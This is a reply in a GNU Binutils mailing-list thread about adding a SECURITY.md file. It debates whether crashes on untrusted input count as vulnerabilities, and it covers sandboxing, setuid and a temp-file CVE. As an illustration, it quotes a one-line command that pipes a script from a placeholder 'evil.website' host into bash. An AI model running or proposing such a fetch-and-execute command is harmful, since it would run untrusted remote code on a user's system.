Re: RFC: Adding a SECURITY.md document to the Binutils

[Siddhesh Poyarekar <siddhesh@gotplt.org>]

On 2023-04-13 09:11, Richard Earnshaw wrote:
>> This is why when one does a:
>>
>> curl -s http://evil.website/malicious-script.sh | bash
>>
>> it is a legitimate security issue, but it's not a vulnerability in 
>> bash, nor can it be secured in bash.  One must either do this in a 
>> sandbox to contain its impact in that sandbox, or do a secondary 
>> analysis (again in a sandbox) to determine that it is safe.
> 
> Right, but that's not the case I was concerned about.  My scenario is 
> more like when you run something like
> 
> objdump foo.o
> 
> but reading foo.o causes corruption in the tools (eg by a buffer 
> exploit) and ends up sending a confidential file to a third party.

It's not fundamentally different from, e.g.

bash malicious-script.sh

it just feels different because you elided the transport mechanism. 
Fundamentally, it is unsafe to do anything with untrusted content 
without sandboxing, so objdump is no different.  Sure, objdump is an 
analysis tool, so it should be able to analyze foo.o without crashing, 
but that's a robustness issue, not a security one.  The security aspect 
should be handled by a sandbox.

>>>>> a vulnerability in the generated output that was not already 
>>>>> present in the files used as input.
>>>>>
>>>>> Note: none of the programs in the GNU Binutils suite need elevated 
>>>>> system privileges (eg setuid) to operate and we recommend that 
>>>>> users do not use them from accounts where such privileges are 
>>>>> automatically available.
>>>>
>>>> We did have CVE-2021-20197, so it's not always setuid.
>>>
>>>
>>> Which is exactly the sort of scenario I was trying to exclude by this 
>>> statement - don't run the tools with elevated privileges.
>>
>> I should have clarified that I agree, just that mentioning setuid 
>> might lull users into believing that this threat model is only related 
>> to setuid.
> 
> Which is why I put setuid in brackets and put 'eg' in front of it.  It's 
> the most obvious example, but it's by no means the only case.

Fair enough.

> BTW, the real problem underlying that CVE is that the temp-files APIs 
> are fundamentally weak by defaulting to a shared temporary directory. 
> Quite frankly there's no reason why systems shouldn't be using per-user 
> temporary directories these days which are private - who needs to share 
> temporary files with other users?

That is essentially why the issue wasn't considered critical.

Sid